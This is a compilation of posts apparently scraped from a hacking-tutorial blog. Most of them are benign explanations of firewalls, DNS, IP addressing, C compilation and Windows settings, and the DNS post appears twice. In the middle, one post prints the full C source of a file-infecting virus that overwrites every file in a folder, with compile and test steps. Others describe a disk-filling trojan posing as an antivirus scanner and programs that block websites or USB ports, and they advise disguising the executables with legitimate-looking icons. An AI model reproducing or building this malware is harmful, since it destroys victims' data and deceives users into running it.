Personal firewalls are easy to install and use and hence preferred by end-users for use on their personal computers.  However, large networks and companies prefer those firewalls that have plenty of options to configure so as to meet their customized needs.

For example, a company may set up different firewall rules for FTP servers, Telnet servers and Web servers. In addition, the company can even control how the employees connect to the Internet by blocking access to certain websites or restricting the transfer of files to other networks. Thus, in addition to security, a firewall can give the company a tremendous control over how people use the network.

Firewalls use one or more of the following methods to control the incoming and outgoing traffic in a network:

1. Packet Filtering: In this method, packets (small chunks of data) are analyzed against a set of filters. Packet filters has a set of rules that come with accept and deny actions which are pre-configured or can be configured manually by the firewall administrator. If the packet manages to make it through these filters then it is allowed to reach the destination; otherwise it is discarded.
2. Stateful Inspection: This is a newer method that doesn’t analyze the contents of the packets. Instead, it compares certain key aspects of each packet to a database of trusted source. Both incoming and outgoing packets are compared against this database and if the comparison yields a reasonable match, then the packets are allowed to travel further. Otherwise they are discarded.

Firewall Configuration:

Firewalls can be configured by adding one or more filters based on several conditions as mentioned below:

1. IP addresses: In any case, if an IP address outside the network is said to be unfavorable, then it is possible to set  filter to block all the traffic to and from that IP address. For example, if a certain IP address is found to be making too many connections to a server, the administrator may decide to block traffic from this IP using the firewall.
2. Domain names: Since it is difficult to remember the IP addresses, it is an easier and smarter way to configure the firewalls by adding filters based on domain names. By setting up a domain filter, a company may decide to block all access to certain domain names, or may provide access only to a list of selected domain names.
3. Ports/Protocols: Every service running on a server is made available to the Internet using numbered ports, one for each service. In simple words, ports can be compared to virtual doors of the server through which services are made available.
   For example, if a server is running a Web (HTTP) service then it will be typically available on port 80. In order to avail this service, the client needs to connect to the server via port 80. Similarly, different services such as Telnet (Port 23), FTP (port 21) and SMTP (port 25) services may be running on the server.
   If the services are intended for the public, they are usually kept open. Otherwise they are blocked using the firewall so as to prevent intruders from using the open ports for making unauthorized connections.
4. Specific words or phrases: A firewall can be configured to filter one or more specific words or phrases so that, both the incoming and outgoing packets are scanned for the words in the filter.
   For example, you may set up a firewall rule to filter any packet that contains an offensive term or a phrase that you may decide to block from entering or leaving your network.

Hardware vs. Software Firewall:

Hardware firewalls provide higher level of security and hence preferred for servers where security has the top most priority. The software firewalls on the other hand are less expensive and hence preferred in home computers and laptops.

Hardware firewalls usually come as an in-built unit of a router and provide maximum security as it filters each packet in the hardware level itself even before it manages to enter your computer. A good example is the Linksys Cable/DSL router.

Why Firewall?

Firewalls provide security over a number of online threats such as Remote login, Trojan backdoors, Session hijacking, DOS & DDOS attacks, viruses, cookie stealing and many more. The effectiveness of the security depends on the way you configure the firewall and how you set up the filter rules.

However, major threats such as DOS and DDOS attacks may sometimes manage to bypass the firewalls and do the damage to the server. Even though firewall is not a complete answer to online threats, it can most effectively handle the attacks and provide security to the computer up to the maximum possible extent.

HOW STUFFS WORK 27 Comments In the world of Internet and the area of computer networks, you will often come across the term Domain Name System or Domain Name Service which is simply referred to as DNS. The working of DNS forms one of the basic concepts of computer networks whose understanding is very much essential especially if you are planning to get into the field of ethical hacking or network security. In this post, I will try to explain how Domain Name System works in a very simple and easy to follow manner so that even the readers who do not have any prior knowledge of computer networks should be able to understand the concept. What is a Domain Name System? A “Domain Name System” or “Domain Name Service” is a computer network protocol whose job is to map a user friendly domain name such as “Gohacking.com” to its corresponding IP address like “173.245.61.120″. How Domain Name System (DNS) Works Every computer on the Internet, be it a web server, home computer or any other network device has a unique IP address allotted to it. This IP address is used to establish connections between the server and the client in order to initiate the transfer of data. Whether you are trying to access a website or sending an email, the DNS plays a very important role here. For example, when you type “www.google.com” on your browser’s address bar, your computer will make use of the DNS server to fetch the IP address of Google’s server that is “74.125.236.37″. After obtaining the IP address, your computer will then establish a connection with the server only after which you see the Google’s home page loading on your browser. The whole process is called DNS Resolution. With millions of websites on the Internet, it is impossible for people to remember the IP address of every website in order to access it. Therefore, the concept of domain name was introduced so that every website can be identified by its unique name which makes it easy for people to remember. However, the IP address is still used as the base for internal communication by network devices. This is where the DNS comes in to action that works by resolving the user friendly domain name to its corresponding machine friendly IP address. In simple words, domain names are for humans while IP addresses are for network devices. The “Domain Name System” is a protocol to establish a link between the two. Hence, it is not a surprise that you can even load a website by directly typing its IP address instead of the domain name in the browser’s address bar (give it a try)! Types of DNS Servers and their Role: The Domain Name System (DNS) is a distributed database that resides on multiple computers on the Internet in a hierarchical manner. They include the following types: Root Name Servers: The root servers represent the top level of the DNS hierarchy. These are the DNS servers that contain the complete database of domain names and their corresponding IP addresses. Currently, there are 13 root servers distributed globally which are named using the letters A,B,C and so on up to M. Local Name Servers: Local servers represent the most lower level DNS servers that are owned and maintained by many business organizations and Internet Service providers (ISPs). These local servers are able to resolve frequently used domain names into their corresponding IP addresses by caching the recent information. This cache is updated and refreshed on a regular basis. How DNS Server Works? Whenever you type a URL such as “http://www.gohacking.com” on your browser’s address bar, your computer will send a request to the local name server to resolve the domain name into its corresponding IP address. This request is often referred to as a DNS query. The local name server will receive the query to find out whether it contains the matching name and IP address in its database. If found, the corresponding IP address (response) is returned. If not, the query is automatically passed on to another server that is in the next higher level of DNS hierarchy. This process continues until the query reaches the server that contains the matching name and IP address. The IP address (response) then flows back the chain in the reverse order to your computer. In rare cases where none of the lower level DNS servers contain the record for a given domain name, the DNS query eventually reaches one of the root name server to obtain the response. FAQs about Domain Name System: Here is a list of some of the FAQs about DNS: How does a “root name server” obtain the information about new domains? Whenever a new domain name is created or an existing one is updated, it is the responsibility of the domain registrar to publish the details and register it with the root name server. Only after this, the information can move down the DNS hierarchy and get updated on the lower level DNS servers. What is DNS propagation? Whenever a new domain name is registered or an existing one is updated, the information about the domain must get updated on all the major DNS servers so that the domain can be reached from all parts of the globe. This is called DNS propagation and the whole process can take anywhere from 24 to 72 hours to get completed. How often the DNS servers are updated to refresh the cache? There is no specific rule that defines the rate at which DNS servers should be updated. It usually depends on the organization such as the ISP that maintains the server. Most DNS servers are updated on an hourly basis while some may update their databases on a daily basis. I hope you have now understood the working of DNS in a very convincing manner. Pass your comments and share your opinion. You may also like: How a Domain Name is Hijacked and How to Protect it How Firewalls Work Private and Public IP Addresses: What’s the Difference? DNS Hijacking: What it is and How it Works 4 GET UPDATES VIA EMAIL Go Hacking on Facebook CATEGORIES CELL PHONE HACKS EMAIL HACKING ENCRYPTION GOOGLE HACKS HACKING BASICS HOW STUFFS WORK HOW-TO GUIDES INTERNET SECURITY NETWORK HACKS NEWS & UPDATES PASSWORD HACKING PROGRAMMING SOFTWARE REVIEW WEB HACKING WINDOWS HACKS RSS Icon 26,522 Subscribers Twitter Icon 433 Followers Facebook Icon 3,104 Fans Go Hacking on Google+ RECENT POPULAR What is Doxing and How it is Done? What is Doxing and How it is Done? In the modern world, Internet has become a wonderful place to gain knowledge, exchange ideas, ... Beware of Password Hacking Scams and Fake Tutorials Beware of Password Hacking Scams and Fake Tutorials In the era of Internet, emails and social networking have taken a prominent role ... How to Know if Someone Accessed My Computer When I am Away How to Know if Someone Accessed My Computer When I am Away Do you have a feeling that someone tried to access your computer when you ... DNS Hijacking: What it is and How it Works DNS Hijacking: What it is and How it Works DNS hijacking (sometimes referred to as DNS redirection) is a type of malicious attack ... How to Hack Yahoo Messenger How to Hack Yahoo Messenger Yahoo Messenger is one of the highly popular and most widely used instant messaging ... 27 Comments Sijo Joy December 7, 2012 at 10:15 AM Gud Work Srikanth. keep it up. u r my inspiration for creating blogs. Ur all posts give new idea for me. Thank u so much Reply Srikanth December 7, 2012 at 10:41 AM Thanks a lot for your valuable feedback :) Reply narender malik January 24, 2013 at 9:52 PM shrikant brother how i can get more knowledge about hacking . i want to become hacker. Reply Praveen Singh December 11, 2012 at 8:28 PM I was a regular visitor of your site,I thought you had stop posting.But whenever you post , it is the best. Reply shubham agarwal December 14, 2012 at 8:34 PM great post..!!! i was not having any idea of DNS.. but after reading ur post.!! i now have a good idea… great work keep it up man….!! Reply Mark December 15, 2012 at 4:52 AM Can you post more regularly please? I’d love to chat with you so we can do some business together and hopefully learn from you. Reply manar December 24, 2012 at 1:41 PM you’re great engineer i hope i’ll be like you one day :) now ik what i’ll study in futur Reply Karan Singh Chauhan December 28, 2012 at 10:23 AM Very Useful Post Here! DNS is something great. Thanks Reply debasish December 28, 2012 at 4:24 PM valuable discussion . Reply debasish December 28, 2012 at 4:30 PM sir , I want to know how “extentions” work through web browsers. will you help me? Reply shabeer January 6, 2013 at 5:12 PM Very easy to understand. Good Job. Reply tushar January 6, 2013 at 5:35 PM Valuable information… pls explain more about root servers…thanx in advance Reply Sanjay January 6, 2013 at 8:13 PM your the best…. Reply vipin January 7, 2013 at 9:52 AM article become so good if u specify type of dns record…… Reply Zardari January 8, 2013 at 12:29 AM Very nicely written article indeed, clears many doubts, thank you! Greetings from Pakistan. Reply raytom January 8, 2013 at 9:26 PM Hi srikanth this is really awesome post DNS is a huge concept you made that short and sweet. We appreciate your work keep it up. Reply TIK January 12, 2013 at 10:34 AM HI…. Srikanth.. Your information for hacking is so great….. I have no words to explain. I’m dumb in hacking related stuffs, however after reading ur posts I started understand ver y well. The good thing about ur posts is “Very simple & clear”. Do u help us more? Reply TIK January 12, 2013 at 10:39 AM I didn’t had neccesity to learn hackking until some disaster in my past. Now i’m desparate to learn hacking since i have no other hope of finding my missing family member. I know where the informations are, but i can’t access it, and no one to help me providing those information. Due to privacy act. What a crap. What can i do ..? I geniuenly request them. they say No” What should i do? Reply Aditya January 13, 2013 at 12:12 PM Nice explanation Reply JK Gupta January 13, 2013 at 10:21 PM Dear Srikanth, i have been regularly visiting your site to learn and understand the complex knowledge of computers and networking which you explain in a simple way that a non technical person also understands and appreciates. I sincerely thank u for your website. Regards JK Gupta Reply Srikanth January 13, 2013 at 10:39 PM You’re welcome. I appreciate your feedback. :) Reply SAM January 28, 2013 at 10:15 AM great work … ur service is essential for newbies n all …keep going Reply Saqlain February 5, 2013 at 2:40 AM Great Bro Reply Anmol Arora February 15, 2013 at 1:00 PM An awesome one…Keep up your great work..!! :-D Reply Sreejith March 7, 2013 at 3:57 PM Thank You. It was very informative!!! Reply ARSHAD ABID March 25, 2013 at 9:16 PM It is really very informative…. Nyc work Reply zz March 26, 2013 at 12:46 PM great things on your site visit me too Reply Leave A Reply Name (required) Email (required) Website Comment

In the world of Internet and the area of computer networks, you will often come across the term Domain Name System or Domain Name Service which is simply referred to as DNS. The working of DNS forms one of the basic concepts of computer networks whose understanding is very much essential especially if you are planning to get into the field of ethical hacking or network security.

In this post, I will try to explain how Domain Name System works in a very simple and easy to follow manner so that even the readers who do not have any prior knowledge of computer networks should be able to understand the concept.

What is a Domain Name System?

A “Domain Name System” or “Domain Name Service” is a computer network protocol whose job is to map a user friendly domain name such as “Gohacking.com” to its corresponding IP address like “173.245.61.120″.

Every computer on the Internet, be it a web server, home computer or any other network device has a unique IP address allotted to it. This IP address is used to establish connections between the server and the client in order to initiate the transfer of data. Whether you are trying to access a website or sending an email, the DNS plays a very important role here.

For example, when you type “www.google.com” on your browser’s address bar, your computer will make use of the DNS server to fetch the IP address of Google’s server that is “74.125.236.37″. After obtaining the IP address, your computer will then establish a connection with the server only after which you see the Google’s home page loading on your browser. The whole process is called DNS Resolution.

With millions of websites on the Internet, it is impossible for people to remember the IP address of every website in order to access it. Therefore, the concept of domain name was introduced so that every website can be identified by its unique name which makes it easy for people to remember. However, the IP address is still used as the base for internal communication by network devices. This is where the DNS comes in to action that works by resolving the user friendly domain name to its corresponding machine friendly IP address.

In simple words, domain names are for humans while IP addresses are for network devices. The “Domain Name System” is a protocol to establish a link between the two. Hence, it is not a surprise that you can even load a website by directly typing its IP address instead of the domain name in the browser’s address bar (give it a try)!

Types of DNS Servers and their Role:

The Domain Name System (DNS) is a distributed database that resides on multiple computers on the Internet in a hierarchical manner. They include the following types:

Root Name Servers:

The root servers represent the top level of the DNS hierarchy. These are the DNS servers that contain the complete database of domain names and their corresponding IP addresses. Currently, there are 13 root servers distributed globally which are named using the letters A,B,C and so on up to M.

Local Name Servers:

Local servers represent the most lower level DNS servers that are owned and maintained by many business organizations and Internet Service providers (ISPs). These local servers are able to resolve frequently used domain names into their corresponding IP addresses by caching the recent information. This cache is updated and refreshed on a regular basis.

How DNS Server Works?

Whenever you type a URL such as “http://www.gohacking.com” on your browser’s address bar, your computer will send a request to the local name server to resolve the domain name into its corresponding IP address. This request is often referred to as a DNS query. The local name server will receive the query to find out whether it contains the matching name and IP address in its database. If found, the corresponding IP address (response) is returned. If not, the query is automatically passed on to another server that is in the next higher level of DNS hierarchy. This process continues until the query reaches the server that contains the matching name and IP address. The IP address (response) then flows back the chain in the reverse order to your computer.

In rare cases where none of the lower level DNS servers contain the record for a given domain name, the DNS query eventually reaches one of the root name server to obtain the response.

FAQs about Domain Name System:

Here is a list of some of the FAQs about DNS:

How does a “root name server” obtain the information about new domains?

Whenever a new domain name is created or an existing one is updated, it is the responsibility of the domain registrar to publish the details and register it with the root name server. Only after this, the information can move down the DNS hierarchy and get updated on the lower level DNS servers.

What is DNS propagation?

Whenever a new domain name is registered or an existing one is updated, the information about the domain must get updated on all the major DNS servers so that the domain can be reached from all parts of the globe. This is called DNS propagation and the whole process can take anywhere from 24 to 72 hours to get completed.

How often the DNS servers are updated to refresh the cache?

There is no specific rule that defines the rate at which DNS servers should be updated. It usually depends on the organization such as the ISP that maintains the server. Most DNS servers are updated on an hourly basis while some may update their databases on a daily basis.

I hope you have now understood the working of DNS in a very convincing manner. Pass your comments and share your opinion.

Private and Public IP Addresses: What’s the Difference?

Internet Protocol (IP) addresses are usually of two types: Public and Private. If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place.

In this post I will try to explain the difference between a public and a private IP address in layman’s terms so that it becomes simple and easy to understand.

What are Public IP Addresses?

A public IP address is assigned to every computer that connects to the Internet where each IP is unique. In this case, there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.

A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting web pages or services on the Internet. On the other hand, a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet.

Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.

You can check your public IP address by visiting www.whatismyip.com

What are Private IP Addresses?

An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):

10.0.0.0 – 10.255.255.255 (Total Addresses: 16,777,216)
172.16.0.0 – 172.31.255.255 (Total Addresses: 1,048,576)
192.168.0.0 – 192.168.255.255 (Total Addresses: 65,536)

Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other.

Say for example, if a network X consists of 10 computers, each of them can be given an IP starting from 192.168.1.1 to 192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).

Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.

If the private network is connected to the Internet (through an Internet connection via ISP), then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.

You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.

Common Myth about Private IP Address:

Most people assume that a private IP is the one used for stealth Internet activities and hence cannot be detected. But this is NOT TRUE!.

Unlike what most people think, a private IP address (unlike the private telephone number) is just like any other IP address that belongs to a private network. In reality, there is no public IP address that is impossible to trace as the protocol itself is designed for transparency.

How to Compile C Programs

In many of my previous posts especially in the Programming section, I have used C as the programming language for writing the programs. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you.

Here is a step-by-step procedure to install Borland C++ compiler 5.5 on your PC and compile the C programs.

How to Install Borland C++ compiler?

Follow the below steps to install Borland C++ compiler 5.5 on your PC:

1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link:
   Download Borland C++ 5.5
2. After you download, run the file C++5.51.exe. The default installation path would be:
   C:\Borland\BCC55

How to configure Borland C++ compiler?

Here is a step-by-step instruction on how to configure the compiler:

1. After you install Borland C++ compier, create two new Text Documents.
2. Open the first New Text Document.txt file and add the following two lines into it:
   -I”c:\Borland\Bcc55\include”

   -L”c:\Borland\Bcc55\lib”
   Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.
3. Open the second New Text Document (2).txt file and add the following line into it:
   -L”c:\Borland\Bcc55\lib”
   Save changes and close the file. Rename the file from New Text Document (2).txt to ilink32.cfg.
4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to Compile the C Source Code (.C files)?

Here is a detailed instruction on how to compile C source codes:

1. You need to place the .C (example.c) file to be compiled in the following location:
C:\Borland\BCC55\Bin
2. Now go to the command prompt (Start->Run->type cmd->Enter)
3. Make the following path as the present working directory (use the CD command):
C:\Borland\BCC55\Bin
4. To compile the file (example.c) use the following command:
bcc32 example.c
5. Now if there exists no error in the source code, you’ll get a compiled executable module (example.exe) in the same location (C:\Borland\BCC55\Bin).
6. Now you have successfully compiled the source code into an executable file(.exe file).

NOTE: The above tutorial assumes that you’ve installed the compiler onto the C: drive (by default)

C Program Without a Main Function

Have you ever wondered how to write a C program without a main function? Can a C program execute with a main function? Is it possible to do that?

Well, the answer is YES! There can be a C program without a main function. Here is the source code of the program without a main function:

#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e) int begin()
{
printf(” hello “);
}

The above program runs perfectly fine even without a main function. But how? What’s the logic behind it? How can we have a C program working without a main function. Read on to find out the answer…

Here, we are using a preprocessor directive called #define with arguments to give an impression that the program runs without the main function. However, in reality it runs with a hidden main function in it.

NOTE: A Preprocessor is program which processes the source code before compilation.

The ‘##‘ operator is called the token pasting or token merging operator. That is, we can merge two or more characters with it. Now, look at the 2nd line of program:

#define decode(s,t,u,m,p,e,d) m##s##u##t

What is the preprocessor doing here? The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m, s, u and t into msut). The logic is, when you pass (s,t,u,m,p,e,d) as argument it merges the 4th, 1st, 3rd and the 2nd characters (tokens).

Now, look at the third line of the program:

#define begin decode(a,n,i,m,a,t,e)

Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line, the argument must be expanded so that the 4th, 1st, 3rd and the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th, 1st, 3rd and the 2nd characters are ‘m’, ‘a’, ‘i’ and ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on to the compiler. That’s it.

The bottom line is that, there can never exist a C program without a main function. Here, we are just playing a gimmick that makes us believe that the program runs without the main, but there actually exists a hidden main function in the program. Here, we are using the proprocessor directive to intelligently replace the word “begin” by “main”. In simple words: int begin = int main.

C Program to Print its Own Source Code

ver wondered how to write a C program to print its own source code? Well, here is the source code of a C program that when executed will print its own source code. In other words, the output of this program is exactly same as its source code.

Here’s the program:

#include<stdio.h>
char *program=”#include<stdio.h>%cchar *program=%c%s%c;%cvoid main()%c{%cprintf(program,10,34,program,34,10, 10,10,10);%c}”;
void main()
{
printf(program,10,34,program,34,10,10,10,10);
}

How to Create a Computer Virus?

This program is an example of how to create a computer virus in C language. This program demonstrates a simple virus program which when executed creates a copy of itself in all the other files that are present in the same directory.

Thus, it destroys other files by infecting them. The infected file will also become a virus so that when executed, it is capable of spreading the infection to another file and so on.

Here’s the source code of the virus program:

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

This virus is designed to infect all types of files with any extension.

You can download the source code from the following link:

Download Source code

How the Virus Program Works?

The algorithm of this virus program is as follows:

Step-1: Search for files in the current directory. If one or more file is present, load the first file (target file).

Step-2: Load the copy of the virus itself onto the memory.

Step-3: Open the target file. Copy the virus code from the memory and place it in the target file. Close the target file when the copying process is completed.

Step-4: Load the next file to infect and move to the step-3. If all the files are infected, close all the open files, unload them from the memory and exit.

As far as the technical terms are concerned, I would not be able to explain the program line by line. Anyone with a working knowledge of C should be easily able to understand the functions and other terms used in the program.

How to Compile the Program:

For a step-by-step guide, you can refer my detailed post on how to compile C programs?

How to Test the Virus After the Compilation:

1. Create a new empty folder.
2. Put some executable files (or any other files) in the folder.
3. Run the PC_Virus.exe file. With in a few seconds all the other files in the folder gets infected.
4. Now every infected file is a new virus which is ready to re-infect. You can copy any of the infected .exe file to another empty folder and repeat the same procedure to see if the infected file is capable of re-infecting. Delete the folder and all the infected files after the testing process is done.

NOTE: The files infected by this virus are destroyed completely and cannot be recovered. So, always test the virus in a new folder by placing some sample files.

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.

How to Make a Trojan Horse

Most of you may be curious to know about how to make a Trojan or Virus on your own. Well, here is an answer to your curiosity. In this, post I’ll show you how to make a simple trojan on your own using the C programming language.

This trojan when executed will eat up the hard disk space on the root drive (The drive on which the Windows is installed, usually C: Drive) of the computer on which it is run. Also, this trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run.

So, I’ll call this as Space Eater Trojan. Since this program is written using a high level programming language, it is often undetected by antivirus programs. The source code for this program is available for download at the end of this post. Let’s see how this trojan works:

Before I move on to explain the working of this program, you need to know what exactly is a Trojan horse and how it works. Unlike what many of us think, a trojan horse is not a virus. In simple words, it is just a program that appears to do a favorable task but in reality performs undisclosed malicious functions that allow the attacker to gain unauthorized access to the host machine or cause a damage to the computer.

Now let’s move on to the working of our Trojan:

The trojan horse which I have created appears itself as an antivirus program that scans the computer for malware programs. However, in reality it does nothing other than eating up the hard disk space on the root drive by filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result, the the root drive gets filled up completely with in minutes of running this program.

Once the disk space is full, the trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any of the cleanup program. This is because, the trojan intelligently creates a huge file in the Windows\System32 folder with the .dll extension. Since the junk file has the .dll extension it is often ignored by the disk cleanup software. Hence there is now way to recover the hard disk space other than reformatting the drive.

The algorithm of the Trojan is as follows:

1. Search for the root drive.
2. Navigate to %systemroot%\Windows\System32 on the root drive.
3. Create the file named “spceshot.dll“.
4. Start dumping the junk data onto the above file and keep increasing its size until the drive is full.
5. Once the drive is full, stop the process.

You can download the Trojan source code HERE. Please note that I have not included the executable for security reasons. You need to compile it to obtain the executable.

How to compile the program?

For step-by-step compilation guide, refer my post How to compile C Programs.

How to test this trojan horse?

To test the trojan, just run the SpaceEater.exe file on your computer. It will generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up the hard disk space.

NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.

How to fix the damage and free up the space?

To remove the damage and free up the space, just type the following in the “run” dialog box:

%systemroot%\system32

Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.

 NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?

How to Create a Virus to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube websites. If you are curious about creating such a virus on your own, here is how it can be done.

As usual I am using my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of ‘C’ will be able to understand the working of this virus program. When this program is executed, it will block all those websites that are listed in the source code. In the following example, the sites that are listed in the source code are Google, Yahoo and Youtube. When you download the source code of this program, you have a choice to include your own list of sites that you want this virus to block.

I have just removed the source code of this program from this post as it is lengthy and makes the post look messy. You can still download the source code of this virus program from the following link:

Download Block_Site.rar

How Virus Program Works?

The Windows operating system maintains a special file called HOSTS which can be used to block any given hostname or domain name (website) by adding new entries onto it. This program works by modifying the HOSTS file by adding new entries of those sites that are intended to be blocked. The HOSTS file is located at:

%windir%\system32\drivers\etc (Usually: C:\windows\system32\drivers\etc)

So, when you execute this program, all it does is add the entries of the list of those sites (mentioned in the source code) to this HOSTS file. Once this is done, the site will be blocked from your computer. So, none of the browsers would be able to load those sites on your computer.

For more information on HOSTS file, I recommend reading my other post on How to use HOSTS file to block websites.

Now, as far as the technical part of this program is concerned, people who have a working knowledge of ‘C’ should be easily able to understand the working of this virus program. However, for those who are new to ‘C’ programming, here is the algorithm of this program:

• Determine the Root drive. ie: Find the drive (C:, D:, E: or F:) on which the Windows is installed.
• Navigate to: %windir%\system32\drivers\etc
• Open/Load the HOSTS file.
• Copy a list of those websites that are mentioned in the ARRAY to the END of the file.
• Save the file and Exit.

How to Compile the Source Code?

For a step-by-step compilation guide, refer my post: How to compile C Programs?

Testing the Virus:

1. To test, run the compiled module. It will block the sites that are listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following command in the Run.
   %windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad. At the bottom of the opened file you’ll see something like this:
   127.0.0.1 google.com
5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file?

A Virus Program to Disable USB Ports

In this post, I will show how to create a simple virus that disables the USB ports on the computer (PC). As usual, I am using my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.

Once this virus is executed it will immediately disable all the USB ports on the computer. As a result you’ll will not be able to use your pen drive or any other USB peripheral devices on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.

1. Download the source code of the virus program on to your computer from the following link:
   Download the USB_Block.rar
   The download contains the following 2 files:
   • block_usb.c (source code)
   • unblock_usb.c (source code)
2. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
   3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
3. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
4. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

How it Works?

The idea behind the working of this virus is pretty straightforward. It works by gaining access to the Windows registry and modifying its settings to disable the USB device support on the computer.

On the other hand, the other program will re-set the registry settings back to the normal so that the support for USB devices is re-enabled. I hope you like this post. Please pass your comments.

Take Ownership of Files and Folders in Windows 7

If you are a Windows 7 user, then you are most likely to be aware of the fact that you need to TAKE OWNERSHIP of files and folders before you can make any changes to them. This feature was introduced first in Windows Vista and later in Windows 7 in order to prevent any unauthorized changes from being made to the system files.

However, it can be little annoying to follow a long list of procedure every time you want to take ownership of a certain file or folder. So, to make this job simpler, I have found a nice tool called Take Ownership Shell Extension which adds the “Take Ownership” option to the Windows context menu itself. This makes taking ownership too simple and requires no more than a click.

Just run the portable tool kit and click on the “Install” button. This will add the “Take Ownership” option onto the context menu. To take ownership of a file or folder, all you need to do is just right-click on it and click the option “Take Ownership“.

In case if you wish to uninstall this tool at any time, you can just run the tool again and click on the ”Uninstall” button. I hope you like this tool. This works on both Windows 7 and Windows Vista. You can download it from the following link.

Download Take Ownership Shell Extention

How to take the Ownership Manually?

In case if you are interested to know how to take the ownership manually, here is how you can do that:

1. Right-click the file or folder on which you want to take the ownership and then click on Properties.
2. Now go to the Security tab, click on Advanced button and then click the Owner tab.
3. Now, click on Edit and do the following:
• Under the “Change owner to:” section, select the user or group to which you would like to grant the permissions and then click on the OK button.
• If the user or the group to which you would like to grant permissions is not listed under the Change owner to: section, just click on Other users and groups and, under Enter the object name to select (examples), type the name of the user or group, and then click OK.
4. Now you should get the confirmation dialog box stating that the ownership is granted.

I hope you enjoyed this post. Pass your comments to share your experiences.

How to Enable or Disable Hibernation in Windows 7

Enabling or Disabling the “Hibernate” option in Windows 7 or Vista is not as simple as it used to be in Windows XP. For Windows 7, a different approach has to be followed to accomplish the same job.

In this post you will find the information on how to enable or disable the Hibernate option in Windows 7.

Hibernation is a power saving option which was designed primarily for laptops. Unlike the “sleep mode” which puts the open documents and files into the memory, hibernation puts all the open files and documents on to the hard disk and shuts down the computer without drawing even a small amount of power.

Thus, hibernation becomes an excellent way to save power and resume the Windows back to the state where it was left off. If you really want to use this feature on Windows 7 then you need to enable this option. This can be done as follows:

Step-1. Open the Command Prompt with “Administrator rights”. To do so, type cmd in the Start menu and then hit Ctrl+Shift+Enter.

Step-2. Now type the following command in the command prompt and hit Enter.

powercfg /hibernate on

Step-3. Type exit and hit Enter to close the Command Prompt.

